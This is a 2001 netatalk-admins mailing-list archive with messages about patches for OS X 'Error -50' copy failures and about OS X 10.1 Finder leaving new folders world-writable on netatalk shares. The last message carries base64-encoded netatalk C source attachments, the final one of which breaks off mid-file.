	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA15174
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Dec 2001 10:09:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA12563
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Dec 2001 10:09:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA12542
	for netatalk.administrators-members@umich.edu; Fri, 21 Dec 2001 10:09:32 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA12508
	for <netatalk-admins@umich.edu>; Fri, 21 Dec 2001 10:09:31 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id KAA12507;
	Fri, 21 Dec 2001 10:09:29 -0500 (EST)
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Fri, 21 Dec 2001 11:09:27 -0500
Subject: Re: Error -50 copying from OS X
From: Rick Zeman <rzeman@his.com>
To: Steve Freitas <sflist@ihonk.com>,
        netatalk-admins <netatalk-admins@umich.edu>
CC: Joe Clarke <marcus@marcuscom.com>
Message-ID: <B848C8E7.5A15%rzeman@his.com>
In-Reply-To: <B8479014.A25B%sflist@ihonk.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 12/20/01 3:54 PM, "Steve Freitas" <sflist@ihonk.com> wrote:

> Rick,
> 
> Joe Clarke has heard your pain! See below:
> 
> ----------
> From: Joe Clarke <marcus@marcuscom.com>
> Date: Thu, 20 Dec 2001 12:33:00 -0500 (EST)
> To: Steve Freitas <sflist@ihonk.com>
> Subject: Re: FW: Error -50 copying from OS X
> 
> Give these patches a try.  This implements a hashdid/lastdid hybrid.
> You're free to give these out to others, but know that it may cause data
> loss.  Hopefully, it will fix the -50 errors while not causing data loss.
> Please provide feedback as soon as you can.

Works thus far with light banging on it.

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Fri Dec 21 10:13:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA15324
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Dec 2001 10:13:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA19514
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Dec 2001 10:13:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA19498
	for netatalk.administrators-members@umich.edu; Fri, 21 Dec 2001 10:13:00 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA19451
	for <netatalk-admins@umich.edu>; Fri, 21 Dec 2001 10:12:59 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id KAA14659;
	Fri, 21 Dec 2001 10:12:55 -0500 (EST)
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Fri, 21 Dec 2001 11:12:54 -0500
Subject: Re: security issue, netatalk 1.5rc2 (and/or MacOS)?
From: Rick Zeman <rzeman@his.com>
To: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>,
        <netatalk-admins@umich.edu>
CC: <netatalk-devel@lists.sourceforge.net>
Message-ID: <B848C9B6.5A16%rzeman@his.com>
In-Reply-To: <a05101007b847f467694f@[192.168.1.201]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 12/21/01 6:10 AM, "Lorenzo Perone" <lopez.on.the.lists@yellowspace.net>
wrote:

This is what I was told:

> Ok, I think I understand what you are talking about.  This has already
> been reported as a bug against OS 10.1.  In that version, Finder has
> changed its behavior on copying folders so that group and world
> privileges get opened to rwx.  This was done deliberately by Finder and
> in hindsight was a bad thing to do.  Finder team is currently working
> with our security team to use a better method.  Sorry about that.

___________________________________


> Let apart, for a second, the rights-scandal that Apple has produced in OSX
> 10.1
> (just because we can't change this, yet we can hope that L.W. is monitoring
> this thread!)
> 
> Still, I don't actually get why,
> with netatalk 1.5rc2, __OS9.1__ clients don't keep the sticky bit on...
> 
> I just re-verified it across netatalk versions.
> 
> Parent folder within share: of the kind drwxrws--x
> 
> ### with netatalk-1.5rc2:
> A new folder, as well as a duplicate folder, produce folders like this:
> (like samba without the force directory and file modes options...):
> 
> drwxrwx---
> 
> so all files and dirs created within the copied folder will have the user's
> primary group instead of inheriting the share's group.
> 
> ### with netatalk-1.4+asun2.1.4_pre37_test,
> the rights of the new folder are completely correct (from my point of
> view...):
> 
> drwxrws--x
> 
> ### with netatalk-1.5pre38
> the rights of the new folder are like this:
> 
> drwxrws---
> 
> (so the execute bit is missing, which is not as tragical as the missing sticky
> bit...)
> 
> Please help us out of this from the netatalk side!
> (Per-share dir and file modes options....?)
> 
> 
> Lorenzo
> 
> 
> At 10:11 Uhr -0500 20.12.2001, Rick Zeman wrote:
>> On 12/20/01 9:30 AM, "Lorenzo Perone" <lopez.on.the.lists@yellowspace.net>
>> wrote:
>> 
>>> Since the update to rc2:
>>> environment: parent directories and share directories with the following
>>> rights:
>>> drwxrws--x
>>> 
>>> ### the following happens with _client: OS X 10.1.1_:
>>> 
>>> when making a new folder inside of such a directory over th Finder,
>>> I get a new one with the following rights on the server:
>>> 
>>> drwxrwxr-x (others get read access, and group loses sticky bit)
>>> 
>>> worse yet, if I take an existing folder (drwxrws--x ) and duplicate it in
>>> the
>>> Finder,
>>> I get one with
>>> 
>>> drwxrwxrwx !! (as well as all the files inside, all -rwxrwxrwx)
>>> 
>>> ### The following happens with  _client: OS 9.1_:
>>> 
>>> when making a new folder:
>>> 
>>> drwxrwx--- (others lose execute, group loses sticky bit)
>>> 
>>> duplicate it in the Finder makes the same as a new one on OS9.
>> 
>> That's actually a design FEATURE in 10.1!!!  I freaked out over this a month
>> ago when I discovered it going from 10.1.1 to a Netware 5 server running the
>> AFPTCP.nlm and sent some emails off to some people at Apple and Novell.
>> Since it didn't affect the netatalk 1.4b2 that was being used or 9.x on the
>> client end, I'd (wrongly) assumed that it was a Novell problem.
>> I didn't hear WHY Apple consciously made that decision in 10.1, only that
>> they regretted it and are working with their security people to ensure that
>> it was changed correctly.
>> 
>> It only affects folder creation (and its contents), not file-only creation.
>> Basically, all new folders and their contents become world readable and
>> writeable no matter what the parent folders permissions are, as you saw.
>> 
>> In Netware parlance, an explicit trustee of ROOT was added with full perms
>> so any user, or any object in the NDS tree had full access to those files.
>> Horrible.
>> 
>> 
>> --
>> "So Long, and Thanks For All the Fish."
>>       --Douglas Adams
>>          1952-2001
> 
> 

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Fri Dec 21 11:02:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA18697
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Dec 2001 11:02:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA23213
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Dec 2001 11:02:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA23189
	for netatalk.administrators-members@umich.edu; Fri, 21 Dec 2001 11:02:24 -0500 (EST)
Received: from shumai.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA23137
	for <netatalk-admins@umich.edu>; Fri, 21 Dec 2001 11:02:21 -0500 (EST)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.6/8.11.6) with ESMTP id fBLG2Sq63019;
	Fri, 21 Dec 2001 11:02:28 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Fri, 21 Dec 2001 11:02:28 -0500 (EST)
From: Joe Clarke <marcus@marcuscom.com>
To: Rick Zeman <rzeman@his.com>
cc: roger.day@globalgraphics.com, Steve Freitas <sflist@ihonk.com>,
        netatalk-admins <netatalk-admins@umich.edu>
Subject: Re: Error -50 copying from OS X
In-Reply-To: <B848C8B6.5A14%rzeman@his.com>
Message-ID: <20011221110044.U62951-400000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="0-1177842459-1008950548=:62951"

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--0-1177842459-1008950548=:62951
Content-Type: TEXT/PLAIN; charset=US-ASCII

Attached are the actual files instead of patches.  Please place them in
etc/afpd, and recompile.  They may come through uuencoded, so please make
sure they're C source code before trying to compile them.

Joe

On Fri, 21 Dec 2001, Rick Zeman wrote:

> On 12/21/01 7:52 AM, "roger.day@globalgraphics.com"
> <roger.day@globalgraphics.com> wrote:
>
> > Trying to do this on linux redhat 7.1, I get
> >
> > bash-2.04$ patch -p0 <directory.h.patch
> > patch unexpectedly ends in middle of line
> > patch: **** Only garbage was found in the patch input.
> >
> >
> > At 20/12/2001 20:54:44, Steve Freitas <sflist@ihonk.com> wrote:
> > #  Rick,
> > #
> > #  Joe Clarke has heard your pain! See below:
> > #
> > #  ----------
> > #  From: Joe Clarke <marcus@marcuscom.com>
> > #  Date: Thu, 20 Dec 2001 12:33:00 -0500 (EST)
> > #  To: Steve Freitas <sflist@ihonk.com>
> > #  Subject: Re: FW: Error -50 copying from OS X
> > #
> > #  Give these patches a try.  This implements a hashdid/lastdid hybrid.
> > #  You're free to give these out to others, but know that it may cause data
> > #  loss.  Hopefully, it will fix the -50 errors while not causing data loss.
> > #  Please provide feedback as soon as you can.
> > #
> > #  Joe
> > #  ----------
> > #
> > #  The patches should apply against RC2. Grab it, untar it, then put the
> > #  patches into <netatalk RC2 source dir>/etc/afpd. Then cd to etc/afpd and
> > #  apply them:
> > #
> > #  patch -p0 < directory.h.patch
> > #  patch -p0 < file.c.patch
> > #  patch -p0 < enumerate.c.patch
> > #
> > #  Then configure, use --with-did=last, make, make install and give it a try.
> > #
> > #  Steve
> > #
> > #
> > #   - directory.h.patch - file.c.patch - enumerate.c.patch
>
> Yah, that was because somehow (Steve's OE?) the text files got converted to
> Mac line endings.  Change the files to Unix endings (I used BBEdit) and
> they'll then work.
>
> --
> "So Long, and Thanks For All the Fish."
>        --Douglas Adams
>           1952-2001
>
>
>

--0-1177842459-1008950548=:62951
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="directory.h"
Content-Transfer-Encoding: BASE64
Content-ID: <20011221110228.H62951@shumai.marcuscom.com>
Content-Description: 
Content-Disposition: attachment; filename="directory.h"

LyoNCiAqICRJZDogZGlyZWN0b3J5LmgsdiAxLjIuMi4xIDIwMDEvMTIvMDMg
MDU6MDE6MDQgam1hcmN1cyBFeHAgJA0KICoNCiAqIENvcHlyaWdodCAoYykg
MTk5MCwxOTkxIFJlZ2VudHMgb2YgVGhlIFVuaXZlcnNpdHkgb2YgTWljaGln
YW4uDQogKiBBbGwgUmlnaHRzIFJlc2VydmVkLg0KICoNCiAqIFBlcm1pc3Np
b24gdG8gdXNlLCBjb3B5LCBtb2RpZnksIGFuZCBkaXN0cmlidXRlIHRoaXMg
c29mdHdhcmUgYW5kDQogKiBpdHMgZG9jdW1lbnRhdGlvbiBmb3IgYW55IHB1
cnBvc2UgYW5kIHdpdGhvdXQgZmVlIGlzIGhlcmVieSBncmFudGVkLA0KICog
cHJvdmlkZWQgdGhhdCB0aGUgYWJvdmUgY29weXJpZ2h0IG5vdGljZSBhcHBl
YXJzIGluIGFsbCBjb3BpZXMgYW5kDQogKiB0aGF0IGJvdGggdGhhdCBjb3B5
cmlnaHQgbm90aWNlIGFuZCB0aGlzIHBlcm1pc3Npb24gbm90aWNlIGFwcGVh
cg0KICogaW4gc3VwcG9ydGluZyBkb2N1bWVudGF0aW9uLCBhbmQgdGhhdCB0
aGUgbmFtZSBvZiBUaGUgVW5pdmVyc2l0eQ0KICogb2YgTWljaGlnYW4gbm90
IGJlIHVzZWQgaW4gYWR2ZXJ0aXNpbmcgb3IgcHVibGljaXR5IHBlcnRhaW5p
bmcgdG8NCiAqIGRpc3RyaWJ1dGlvbiBvZiB0aGUgc29mdHdhcmUgd2l0aG91
dCBzcGVjaWZpYywgd3JpdHRlbiBwcmlvcg0KICogcGVybWlzc2lvbi4gVGhp
cyBzb2Z0d2FyZSBpcyBzdXBwbGllZCBhcyBpcyB3aXRob3V0IGV4cHJlc3Nl
ZCBvcg0KICogaW1wbGllZCB3YXJyYW50aWVzIG9mIGFueSBraW5kLg0KICoN
CiAqCVJlc2VhcmNoIFN5c3RlbXMgVW5peCBHcm91cA0KICoJVGhlIFVuaXZl
cnNpdHkgb2YgTWljaGlnYW4NCiAqCWMvbyBNaWtlIENsYXJrDQogKgk1MzUg
Vy4gV2lsbGlhbSBTdHJlZXQNCiAqCUFubiBBcmJvciwgTWljaGlnYW4NCiAq
CSsxLTMxMy03NjMtMDUyNQ0KICoJbmV0YXRhbGtAaXRkLnVtaWNoLmVkdQ0K
ICovDQoNCiNpZm5kZWYgQUZQRF9ESVJFQ1RPUllfSA0KI2RlZmluZSBBRlBE
X0RJUkVDVE9SWV9IIDENCg0KI2luY2x1ZGUgPHN5cy9jZGVmcy5oPg0KI2lu
Y2x1ZGUgPHN5cy90eXBlcy5oPg0KLyojaW5jbHVkZSA8c3lzL3N0YXQuaD4q
LyAvKiBpbmNsdWRpbmcgaXQgaGVyZSBjYXVzZXMgc29tZSBjb25mdXNpb24g
Ki8NCiNpbmNsdWRlIDxuZXRhdGFsay9lbmRpYW4uaD4NCg0KLyogc3lzL3R5
cGVzLmggdXN1YWxseSBzbmFyZnMgaW4gbWFqb3IvbWlub3IgbWFjcm9zLiBp
ZiB0aGV5IGRvbid0DQogKiB0cnkgdGhpcyBmaWxlLiAqLw0KI2lmbmRlZiBt
YWpvcg0KI2luY2x1ZGUgPHN5cy9zeXNtYWNyb3MuaD4NCiNlbmRpZg0KDQoj
aW5jbHVkZSAiZ2xvYmFscy5oIg0KI2luY2x1ZGUgInZvbHVtZS5oIg0KDQov
KiB0aGUgZGlkIHRyZWUgaXMgbm93IGEgcmVkLWJsYWNrIHRyZWUgd2hpbGUg
dGhlIHBhcmVudC9jaGlsZA0KICogdHJlZSBpcyBhIGNpcmN1bGFyIGRvdWJs
eS1saW5rZWQgbGlzdC4gaG93IGV4Y2l0aW5nLiAqLw0Kc3RydWN0IGRpciB7
DQogICAgc3RydWN0IGRpcgkqZF9sZWZ0LCAqZF9yaWdodCwgKmRfYmFjazsg
LyogZm9yIHJlZC1ibGFjayB0cmVlICovDQogICAgaW50CQlkX2NvbG9yOw0K
ICAgIHN0cnVjdCBkaXIgICpkX3BhcmVudCwgKmRfY2hpbGQ7IC8qIHBhcmVu
dC1jaGlsZCAqLw0KICAgIHN0cnVjdCBkaXIgICpkX3ByZXYsICpkX25leHQ7
ICAgIC8qIHNpYmxpbmdzICovDQogICAgdm9pZCAgICAgICAgKmRfb2Zvcms7
ICAgICAgICAgICAgLyogb2ZvcmtzIHVzaW5nIHRoaXMgZGlyZWN0b3J5LiAq
Lw0KICAgIHVfaW50MzJfdCAgIGRfZGlkOw0KICAgIGludAkgICAgICAgIGRf
ZmxhZ3M7DQogICAgY2hhcgkqZF9uYW1lOw0KfTsNCg0KLyogY2hpbGQgYWRk
aXRpb24vcmVtb3ZhbCBtYWNyb3MgKi8NCiNkZWZpbmUgZGlyY2hpbGRhZGQo
YSwgYikgZG8geyBcDQoJaWYgKCEoYSktPmRfY2hpbGQpIFwNCgkJKGEpLT5k
X2NoaWxkID0gKGIpOyBcDQoJZWxzZSB7IFwNCgkJKGIpLT5kX25leHQgPSAo
YSktPmRfY2hpbGQ7IFwNCgkJKGIpLT5kX3ByZXYgPSAoYiktPmRfbmV4dC0+
ZF9wcmV2OyBcDQoJCShiKS0+ZF9uZXh0LT5kX3ByZXYgPSAoYik7IFwNCgkJ
KGIpLT5kX3ByZXYtPmRfbmV4dCA9IChiKTsgXA0KCX0gXA0KfSB3aGlsZSAo
MCkNCg0KI2RlZmluZSBkaXJjaGlsZHJlbW92ZShhLGIpIGRvIHsgXA0KCWlm
ICgoYSktPmRfY2hpbGQgPT0gKGIpKSBcDQoJCShhKS0+ZF9jaGlsZCA9ICgo
YikgPT0gKGIpLT5kX25leHQpID8gTlVMTCA6IChiKS0+ZF9uZXh0OyBcDQoJ
KGIpLT5kX25leHQtPmRfcHJldiA9IChiKS0+ZF9wcmV2OyBcDQoJKGIpLT5k
X3ByZXYtPmRfbmV4dCA9IChiKS0+ZF9uZXh0OyBcDQogICAgICAgIChiKS0+
ZF9uZXh0ID0gKGIpLT5kX3ByZXYgPSAoYik7IFwNCn0gd2hpbGUgKDApDQoN
CiNkZWZpbmUgRElSVFJFRV9DT0xPUl9SRUQgICAgMA0KI2RlZmluZSBESVJU
UkVFX0NPTE9SX0JMQUNLICAxDQoNCi8qIHNldGdpZCBkaXJlY3RvcmllcyAq
Lw0KI2lmbmRlZiBESVJCSVRTDQojZGVmaW5lIERJUkJJVFMgU19JU0dJRA0K
I2VuZGlmIC8qIERJUkJJVFMgKi8NCg0KI2RlZmluZSBESVJGX0ZTTUFTSwko
Mzw8MCkNCiNkZWZpbmUgRElSRl9OT0ZTCSgwPDwwKQ0KI2RlZmluZSBESVJG
X0FGUwkoMTw8MCkNCiNkZWZpbmUgRElSRl9VRlMJKDI8PDApDQoNCiNkZWZp
bmUgQUZQRElSX1JFQUQJKDE8PDApDQoNCi8qIGRpcmVjdG9yeSBiaXRzICov
DQojZGVmaW5lIERJUlBCSVRfQVRUUgkwDQojZGVmaW5lIERJUlBCSVRfUERJ
RAkxDQojZGVmaW5lIERJUlBCSVRfQ0RBVEUJMg0KI2RlZmluZSBESVJQQklU
X01EQVRFCTMNCiNkZWZpbmUgRElSUEJJVF9CREFURQk0DQojZGVmaW5lIERJ
UlBCSVRfRklORk8JNQ0KI2RlZmluZSBESVJQQklUX0xOQU1FCTYNCiNkZWZp
bmUgRElSUEJJVF9TTkFNRQk3DQojZGVmaW5lIERJUlBCSVRfRElECTgNCiNk
ZWZpbmUgRElSUEJJVF9PRkZDTlQJOQ0KI2RlZmluZSBESVJQQklUX1VJRAkx
MA0KI2RlZmluZSBESVJQQklUX0dJRAkxMQ0KI2RlZmluZSBESVJQQklUX0FD
Q0VTUwkxMg0KI2RlZmluZSBESVJQQklUX1BESU5GTyAgMTMgICAgICAgICAv
KiBQcm9ET1MgSW5mbyAqLw0KDQovKiBkaXJlY3RvcnkgYXR0cmlidXRlIGJp
dHMgKHNlZSBmaWxlLmggZm9yIG90aGVyIGJpdHMpICovDQojZGVmaW5lIEFU
VFJCSVRfRVhQRk9MREVSICAgKDEgPDwgMSkgLyogc2hhcmVkIHBvaW50ICov
DQojZGVmaW5lIEFUVFJCSVRfTU9VTlRFRCAgICAgKDEgPDwgMykgLyogbW91
bnRlZCBzaGFyZSBwb2ludCBieSBub24tYWRtaW4gKi8NCiNkZWZpbmUgQVRU
UkJJVF9JTkVYUEZPTERFUiAoMSA8PCA0KSAvKiBmb2xkZXIgaW4gYSBzaGFy
ZWQgYXJlYSAqLw0KDQojZGVmaW5lIEZJTERJUkJJVF9JU0RJUiAgICAgICAg
KDEgPDwgNykgLyogaXMgYSBkaXJlY3RvcnkgKi8NCiNkZWZpbmUgRklMRElS
QklUX0lTRklMRSAgICAgICAoMCkgICAgICAvKiBpcyBhIGZpbGUgKi8NCg0K
LyogcmVzZXJ2ZWQgZGlyZWN0b3J5IGlkJ3MgKi8NCiNkZWZpbmUgRElSRElE
X1JPT1RfUEFSRU5UICAgIGh0b25sKDEpICAvKiBwYXJlbnQgZGlyZWN0b3J5
IG9mIHJvb3QgKi8NCiNkZWZpbmUgRElSRElEX1JPT1QgICAgICAgICAgIGh0
b25sKDIpICAvKiByb290IGRpcmVjdG9yeSAqLw0KDQovKiBmaWxlL2RpcmVj
dG9yeSBpZHMuIHdoYXQgYSBtZXNzLiB3ZSBzY3JhbWJsZSB0aGluZ3MgaW4g
YSB2YWluIGF0dGVtcHQNCiAqIHRvIGdldCBzb21ldGhpbmcgbWVhbmluZ2Z1
bCAqLw0KI2lmbmRlZiBBRlMNCiNkZWZpbmUgQ05JRF9YT1IoYSkgICgoKGEp
ID4+IDE2KSBeIChhKSkNCiNkZWZpbmUgQ05JRF9ERVYoYSkgICAoKCgoQ05J
RF9YT1IobWFqb3IoKGEpLT5zdF9kZXYpKSAmIDB4ZikgPDwgMykgfCBcDQoJ
KENOSURfWE9SKG1pbm9yKChhKS0+c3RfZGV2KSkgJiAweDcpKSA8PCAyNCkN
CiNkZWZpbmUgQ05JRF9JTk9ERShhKSAoKChhKS0+c3RfaW5vIF4gKCgoYSkt
PnN0X2lubyAmIDB4ZmYwMDAwMDApID4+IDgpKSBcDQoJCQkJICAgICAgICYg
MHgwMGZmZmZmZikNCiNkZWZpbmUgQ05JRF9GSUxFKGEpICAoKChhKSAmIDB4
MSkgPDwgMzEpDQojZGVmaW5lIENOSUQoYSxiKSAgICAgKENOSURfREVWKGEp
IHwgQ05JRF9JTk9ERShhKSB8IENOSURfRklMRShiKSkNCiNlbHNlIC8qIEFG
UyAqLw0KI2RlZmluZSBDTklEKGEsYikgICAgICgoKGEpLT5zdF9pbm8gJiAw
eDdmZmZmZmZmKSB8IENOSURfRklMRShiKSkNCiNlbmRpZiAvKiBBRlMgKi8N
Cg0KI2RlZmluZSBMQVNUX0RFVihhKSAgICgoKG1ham9yKChhKS0+c3RfZGV2
KSAmIDB4ZikgPDwgMykgfCBcDQogICAgICAgICAgICAgICAgICAgICAgKG1p
bm9yKChhKS0+c3RfZGV2KSAmIDB4NykgPDwgMjQpDQojZGVmaW5lIExBU1Rf
SU5PREUoYSkgKChhKS0+c3RfaW5vICYgMHgwMGZmZmZmZikNCiNkZWZpbmUg
TEFTVChhLGIpICAgICAoTEFTVF9ERVYoYSkgfCBMQVNUX0lOT0RFKGEpIHwg
Q05JRF9GSUxFKGIpKQ0KDQpzdHJ1Y3QgbWFjY2VzcyB7DQogICAgdV9jaGFy
CW1hX3VzZXI7DQogICAgdV9jaGFyCW1hX3dvcmxkOw0KICAgIHVfY2hhcglt
YV9ncm91cDsNCiAgICB1X2NoYXIJbWFfb3duZXI7DQp9Ow0KDQojZGVmaW5l
CUFSX1VTRUFSQ0gJKDE8PDApDQojZGVmaW5lCUFSX1VSRUFECSgxPDwxKQ0K
I2RlZmluZQlBUl9VV1JJVEUJKDE8PDIpDQojZGVmaW5lCUFSX1VPV04JCSgx
PDw3KQ0KDQpleHRlcm4gc3RydWN0IGRpciAgICAgICAqZGlybmV3IF9fUCgo
Y29uc3QgaW50KSk7DQpleHRlcm4gdm9pZCAgICAgICAgICAgICBkaXJmcmVl
IF9fUCgoc3RydWN0IGRpciAqKSk7DQpleHRlcm4gc3RydWN0IGRpcgkqZGly
c2VhcmNoIF9fUCgoY29uc3Qgc3RydWN0IHZvbCAqLCB1X2ludDMyX3QpKTsN
CmV4dGVybiBzdHJ1Y3QgZGlyCSphZGRkaXIgX19QKChzdHJ1Y3Qgdm9sICos
IHN0cnVjdCBkaXIgKiwgY2hhciAqLA0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBpbnQsIGNoYXIgKiwgaW50LCBz
dHJ1Y3Qgc3RhdCAqKSk7DQpleHRlcm4gc3RydWN0IGRpciAgICAgICAqZGly
aW5zZXJ0IF9fUCgoc3RydWN0IHZvbCAqLCBzdHJ1Y3QgZGlyICopKTsNCmV4
dGVybiBpbnQgICAgICAgICAgICAgIG1vdmVjd2QgX19QKChjb25zdCBzdHJ1
Y3Qgdm9sICosIHN0cnVjdCBkaXIgKikpOw0KZXh0ZXJuIGludCAgICAgICAg
ICAgICAgZGVsZXRlY3VyZGlyIF9fUCgoY29uc3Qgc3RydWN0IHZvbCAqLCBj
aGFyICosIGludCkpOw0KZXh0ZXJuIGNoYXIJCSpjbmFtZSBfX1AoKGNvbnN0
IHN0cnVjdCB2b2wgKiwgc3RydWN0IGRpciAqLA0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBjaGFyICoqKSk7DQpleHRlcm4gbW9kZV90ICAgICAg
ICAgICBtdG91bW9kZSBfX1AoKHN0cnVjdCBtYWNjZXNzICopKTsNCmV4dGVy
biB2b2lkICAgICAgICAgICAgIHV0b21tb2RlIF9fUCgoc3RydWN0IHN0YXQg
Kiwgc3RydWN0IG1hY2Nlc3MgKikpOw0KZXh0ZXJuIGludCBnZXRkaXJwYXJh
bXMgX19QKChjb25zdCBzdHJ1Y3Qgdm9sICosIHVfaW50MTZfdCwgY2hhciAq
LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RydWN0IGRp
ciAqLCBzdHJ1Y3Qgc3RhdCAqLCBjaGFyICosIGludCAqKSk7DQpleHRlcm4g
aW50IHNldGRpcnBhcmFtcyBfX1AoKGNvbnN0IHN0cnVjdCB2b2wgKiwgY2hh
ciAqLCB1X2ludDE2X3QsIGNoYXIgKikpOw0KZXh0ZXJuIGludCByZW5hbWVk
aXIgX19QKChjaGFyICosIGNoYXIgKiwgc3RydWN0IGRpciAqLA0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgc3RydWN0IGRpciAqLCBjaGFyICos
IGNvbnN0IGludCkpOw0KDQoNCi8qIEZQIGZ1bmN0aW9ucyAqLw0KZXh0ZXJu
IGludAlhZnBfY3JlYXRlZGlyIF9fUCgoQUZQT2JqICosIGNoYXIgKiwgaW50
LCBjaGFyICosIGludCAqKSk7DQpleHRlcm4gaW50ICAgICAgYWZwX29wZW5k
aXIgX19QKChBRlBPYmogKiwgY2hhciAqLCBpbnQsIGNoYXIgKiwgaW50ICop
KTsNCmV4dGVybiBpbnQJYWZwX3NldGRpcnBhcmFtcyBfX1AoKEFGUE9iaiAq
LCBjaGFyICosIGludCwgY2hhciAqLCBpbnQgKikpOw0KZXh0ZXJuIGludCAg
ICAgIGFmcF9jbG9zZWRpciBfX1AoKEFGUE9iaiAqLCBjaGFyICosIGludCwg
Y2hhciAqLCBpbnQgKikpOw0KZXh0ZXJuIGludAlhZnBfbWFwaWQgX19QKChB
RlBPYmogKiwgY2hhciAqLCBpbnQsIGNoYXIgKiwgaW50ICopKTsNCmV4dGVy
biBpbnQJYWZwX21hcG5hbWUgX19QKChBRlBPYmogKiwgY2hhciAqLCBpbnQs
IGNoYXIgKiwgaW50ICopKTsNCg0KLyogZnJvbSBlbnVtZXJhdGUuYyAqLw0K
ZXh0ZXJuIGludAlhZnBfZW51bWVyYXRlIF9fUCgoQUZQT2JqICosIGNoYXIg
KiwgaW50LCBjaGFyICosIGludCAqKSk7DQpleHRlcm4gaW50CWFmcF9jYXRz
ZWFyY2ggX19QKChBRlBPYmogKiwgY2hhciAqLCBpbnQsIGNoYXIgKiwgaW50
ICopKTsNCg0KI2VuZGlmDQo=
--0-1177842459-1008950548=:62951
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="enumerate.c"
Content-Transfer-Encoding: BASE64
Content-ID: <20011221110228.K62951@shumai.marcuscom.com>
Content-Description: 
Content-Disposition: attachment; filename="enumerate.c"

LyoNCiAqICRJZDogZW51bWVyYXRlLmMsdiAxLjkuMi4xIDIwMDEvMTIvMDMg
MDU6MDE6MDQgam1hcmN1cyBFeHAgJA0KICoNCiAqIENvcHlyaWdodCAoYykg
MTk5MCwxOTkzIFJlZ2VudHMgb2YgVGhlIFVuaXZlcnNpdHkgb2YgTWljaGln
YW4uDQogKiBBbGwgUmlnaHRzIFJlc2VydmVkLiAgU2VlIENPUFlSSUdIVC4N
CiAqLw0KDQojaWZkZWYgSEFWRV9DT05GSUdfSA0KI2luY2x1ZGUgImNvbmZp
Zy5oIg0KI2VuZGlmIC8qIEhBVkVfQ09ORklHX0ggKi8NCg0KI2luY2x1ZGUg
PHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVkZSA8c3Ry
aW5nLmg+DQojaW5jbHVkZSA8ZGlyZW50Lmg+DQojaW5jbHVkZSA8ZXJybm8u
aD4NCg0KI2luY2x1ZGUgPHN5cy9zeXNsb2cuaD4NCiNpbmNsdWRlIDxzeXMv
dHlwZXMuaD4NCiNpbmNsdWRlIDxzeXMvc3RhdC5oPg0KI2luY2x1ZGUgPHN5
cy9maWxlLmg+DQojaW5jbHVkZSA8c3lzL3BhcmFtLmg+DQoNCiNpbmNsdWRl
